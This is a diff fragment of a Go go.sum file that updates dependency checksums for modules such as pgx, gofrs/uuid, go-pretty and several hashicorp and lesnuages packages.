github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
|
||||
github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas=
|
||||
github.com/go-logr/logr v0.2.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU=
|
||||
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
|
||||
@@ -319,17 +319,23 @@ github.com/go-openapi/spec v0.19.0/go.mod h1:XkF/MOi14NmjsfZ8VtAKf8pIlbZzyoTvZsd
|
||||
github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I=
|
||||
github.com/go-openapi/swag v0.17.0/go.mod h1:AByQ+nYG6gQg71GINrmuDXCPWdL640yX49/kXLo40Tg=
|
||||
github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh66Z9tfKk=
|
||||
github.com/go-sql-driver/mysql v1.5.0 h1:ozyZYNQW3x3HtqT1jira07DN2PArx2v7/mN66gGcHOs=
|
||||
github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
|
||||
github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
|
||||
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
|
||||
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
|
||||
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
|
||||
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
|
||||
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
|
||||
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
|
||||
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
|
||||
github.com/godbus/dbus v0.0.0-20151105175453-c7fdd8b5cd55/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20180201030542-885f9cc04c9c/go.mod h1:/YcGZj5zSblfDWMMoOzV4fas9FZnQYTkDnsGvmh2Grw=
|
||||
github.com/godbus/dbus v0.0.0-20190422162347-ade71ed3457e/go.mod h1:bBOAhwG1umN6/6ZUMtDFBMQR8jRg9O75tm9K00oMsK4=
|
||||
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
|
||||
github.com/gofrs/flock v0.8.0/go.mod h1:F1TvTiK9OcQqauNUHlbJvyl9Qa1QvF/gOUDKA14jxHU=
|
||||
github.com/gofrs/uuid v3.2.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v3.3.0+incompatible h1:8K4tyRfvU1CYPgJsveYFQMhpFd/wXNM7iK6rR7UHz84=
|
||||
github.com/gofrs/uuid v3.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible h1:CaSVZxm5B+7o45rtab4jC2G37WGYX1zQfuU2i6DSvnc=
|
||||
github.com/gofrs/uuid v4.3.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
|
||||
github.com/gogo/googleapis v1.2.0/go.mod h1:Njal3psf3qN6dwBtQfUmBZh2ybovJ0tlu3o/AC7HYjU=
|
||||
github.com/gogo/googleapis v1.4.1/go.mod h1:2lpHqI5OcWCtVElxXnPt+s8oJvMpySlOyM6xDCrzib4=
|
||||
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
|
||||
@@ -438,34 +444,20 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.9.5/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
|
||||
github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw=
|
||||
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
|
||||
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
|
||||
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/errwrap v1.1.0 h1:OxrOeh75EUXMY8TBjag2fzXGZ40LB6IKw45YeGUDY2I=
|
||||
github.com/hashicorp/errwrap v1.1.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
|
||||
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
|
||||
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
|
||||
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
|
||||
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
|
||||
github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA=
|
||||
github.com/hashicorp/go-multierror v1.1.1 h1:H5DkEtf6CXdFp0N0Em5UCwQpXMWke8IA0+lD48awMYo=
|
||||
github.com/hashicorp/go-multierror v1.1.1/go.mod h1:iw975J/qwKPdAO1clOe2L8331t/9/fmwbPZ6JB6eMoM=
|
||||
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
|
||||
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
|
||||
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
|
||||
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
|
||||
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
|
||||
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
|
||||
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
|
||||
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
|
||||
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
|
||||
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
|
||||
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c h1:kp3AxgXgDOmIJFR7bIwqFhwJ2qWar8tEQSE5XXhCfVk=
|
||||
github.com/hinshun/vt10x v0.0.0-20180809195222-d55458df857c/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
|
||||
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec/go.mod h1:Q48J4R4DvxnHolD5P8pOtXigYlRuPLGl6moFx3ulM68=
|
||||
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
|
||||
@@ -475,7 +467,6 @@ github.com/imdario/mergo v0.3.9/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJ
|
||||
github.com/inconshreveable/mousetrap v1.0.0 h1:Z8tu5sraLXCXIcARxBp/8cbvlwVa7Z1NHg9XEKhtSvM=
|
||||
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
|
||||
github.com/j-keck/arping v0.0.0-20160618110441-2cf9dc699c56/go.mod h1:ymszkNOg6tORTn+6F6j+Jc8TOr5osrynvN6ivFWZ2GA=
|
||||
github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0=
|
||||
github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo=
|
||||
github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk=
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8=
|
||||
@@ -483,60 +474,63 @@ github.com/jackc/chunkreader/v2 v2.0.1/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgO
|
||||
github.com/jackc/pgconn v0.0.0-20190420214824-7e0022ef6ba3/go.mod h1:jkELnwuX+w9qN5YIfX0fl88Ehu4XC3keFuOJJk9pcnA=
|
||||
github.com/jackc/pgconn v0.0.0-20190824142844-760dd75542eb/go.mod h1:lLjNuW/+OfW9/pnVKPazfWOgNfH2aPem8YQ7ilXGvJE=
|
||||
github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsUgOEh9hBm+xYTstcNHg7UPMVJqRfQxq4s=
|
||||
github.com/jackc/pgconn v1.4.0/go.mod h1:Y2O3ZDF0q4mMacyWV3AstPJpeHXWGEetiFttmq5lahk=
|
||||
github.com/jackc/pgconn v1.5.0/go.mod h1:QeD3lBfpTFe8WUnPZWN5KY/mB8FGMIYRdd8P8Jr0fAI=
|
||||
github.com/jackc/pgconn v1.5.1-0.20200601181101-fa742c524853/go.mod h1:QeD3lBfpTFe8WUnPZWN5KY/mB8FGMIYRdd8P8Jr0fAI=
|
||||
github.com/jackc/pgconn v1.7.0 h1:pwjzcYyfmz/HQOQlENvG1OcDqauTGaqlVahq934F0/U=
|
||||
github.com/jackc/pgconn v1.7.0/go.mod h1:sF/lPpNEMEOp+IYhyQGdAvrG20gWf6A1tKlr0v7JMeA=
|
||||
github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
|
||||
github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
|
||||
github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
|
||||
github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono=
|
||||
github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
|
||||
github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
|
||||
github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
|
||||
github.com/jackc/pgio v1.0.0/go.mod h1:oP+2QK2wFfUWgr+gxjoBH9KGBb31Eio69xUb0w5bYf8=
|
||||
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2 h1:JVX6jT/XfzNqIjye4717ITLaNwV9mWbJx0dLCpcRzdA=
|
||||
github.com/jackc/pgmock v0.0.0-20190831213851-13a1b77aafa2/go.mod h1:fGZlG77KXmcq05nJLRkk0+p82V8B8Dw8KN2/V9c/OAE=
|
||||
github.com/jackc/pgmock v0.0.0-20201204152224-4fe30f7445fd/go.mod h1:hrBW0Enj2AZTNpt/7Y5rr2xe/9Mn757Wtb2xeBzPv2c=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5Wi/+Zz7xoE5ALHsRQlOctkOiHc=
|
||||
github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak=
|
||||
github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM=
|
||||
github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg=
|
||||
github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A=
|
||||
github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.0.5 h1:NUbEWPmCQZbMmYlTjVoNPhc0CfnYyz2bfUAh6A5ZVJM=
|
||||
github.com/jackc/pgproto3/v2 v2.0.5/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200307190119-3430c5407db8/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
|
||||
github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
|
||||
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b/go.mod h1:vsD4gTJCa9TptPL8sPkXrLZ+hDuNrZCnj29CQpr4X1E=
|
||||
github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01CGwFsrv11mJRHWJ6aifDLfdV3aVjFF0zg=
|
||||
github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
|
||||
github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
|
||||
github.com/jackc/pgtype v1.2.0/go.mod h1:5m2OfMh1wTK7x+Fk952IDmI4nw3nPrvtQdM0ZT4WpC0=
|
||||
github.com/jackc/pgtype v1.3.1-0.20200510190516-8cd94a14c75a/go.mod h1:vaogEUkALtxZMCH411K+tKzNpwzCKU+AnPzBKZ+I+Po=
|
||||
github.com/jackc/pgtype v1.3.1-0.20200606141011-f6355165a91c/go.mod h1:cvk9Bgu/VzJ9/lxTO5R5sf80p0DiucVtN7ZxvaC4GmQ=
|
||||
github.com/jackc/pgtype v1.5.0 h1:jzBqRk2HFG2CV4AIwgCI2PwTgm6UUoCAK2ofHHRirtc=
|
||||
github.com/jackc/pgtype v1.5.0/go.mod h1:JCULISAZBFGrHaOXIIFiyfzW5VY0GRitRr8NeJsrdig=
|
||||
github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
|
||||
github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
|
||||
github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
|
||||
github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
|
||||
github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
|
||||
github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
|
||||
github.com/jackc/pgx/v4 v4.5.0/go.mod h1:EpAKPLdnTorwmPUUsqrPxy5fphV18j9q3wrfRXgo+kA=
|
||||
github.com/jackc/pgx/v4 v4.6.1-0.20200510190926-94ba730bb1e9/go.mod h1:t3/cdRQl6fOLDxqtlyhe9UWgfIi9R8+8v8GKV5TRA/o=
|
||||
github.com/jackc/pgx/v4 v4.6.1-0.20200606145419-4e5062306904/go.mod h1:ZDaNWkt9sW1JMiNn0kdYBaLelIhw7Pg4qd+Vk6tw7Hg=
|
||||
github.com/jackc/pgx/v4 v4.9.0 h1:6STjDqppM2ROy5p1wNDcsC7zJTjSHeuCsguZmXyzx7c=
|
||||
github.com/jackc/pgx/v4 v4.9.0/go.mod h1:MNGWmViCgqbZck9ujOOBN63gK9XVGILXWCvKLGKmnms=
|
||||
github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
|
||||
github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ=
|
||||
github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
|
||||
github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
|
||||
github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.1.2/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4 h1:wdaj2KHD2W+mz8JgJ/Q6L/T5dB7kyqEFI16eLq7GEmk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4/go.mod h1:+nE9fyyHGil+PuISTCrp7avEdo6bqoMwqZnuiK2r2a0=
|
||||
github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
|
||||
github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
|
||||
github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E=
|
||||
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
|
||||
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
|
||||
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.4/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ=
|
||||
github.com/jinzhu/now v1.1.5/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160202185014-0b12d6b521d8/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jmespath/go-jmespath v0.0.0-20160803190731-bd40a432e4c7/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
|
||||
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
|
||||
github.com/josharian/intern v1.0.0 h1:vlS4z54oSdjm0bgjRigI+G1HpF+tI+9rE5LLzOg8HmY=
|
||||
github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y=
|
||||
github.com/josharian/native v1.0.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/json-iterator/go v0.0.0-20180612202835-f2b4162afba3/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
|
||||
@@ -565,10 +559,10 @@ github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfn
|
||||
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4-0.20190131011033-7dc38fb350b1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.4/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
|
||||
github.com/kr/pty v1.1.8 h1:AkaSdXYQOWeaO3neb8EM634ahkXXe3jYbVh/F9lq+GI=
|
||||
github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw=
|
||||
github.com/kr/text v0.1.0 h1:45sCR5RtlFHMR4UwH9sdQ5TC8v0qDQCHnXt+kaKSTVE=
|
||||
github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI=
|
||||
github.com/ledongthuc/pdf v0.0.0-20220302134840-0c2507a12d80 h1:6Yzfa6GP0rIo/kULo2bwGEkFvCePZ3qHDDTC3/J9Swo=
|
||||
github.com/lesnuages/go-winio v0.4.19 h1:lFDu1mnhg5em+8zTHO4ChSD11J56xkyE8m3N8IrVmbA=
|
||||
github.com/lesnuages/go-winio v0.4.19/go.mod h1:rm7jf4kBcldxMeljR7c7XY1qVCBc+8z3PtSgkrT9Clk=
|
||||
github.com/lesnuages/snitch v0.6.0 h1:vOao32MdYDHYDcTAq2CKszDh6Dn8Bv1Gmgc8uVh193U=
|
||||
@@ -576,19 +570,20 @@ github.com/lesnuages/snitch v0.6.0/go.mod h1:RfXlAVJYL7gUoZ9VMMon4LqrPiAjC8x62Nt
|
||||
github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.3.0 h1:/qkRGz8zljWiDcFvgpwUpwIAPu3r07TDvs3Rws+o/pU=
|
||||
github.com/lib/pq v1.3.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo=
|
||||
github.com/lib/pq v1.10.2 h1:AqzbZs4ZoCBp+GtejcpCpcxM3zlSMx29dXbUSeVtJb8=
|
||||
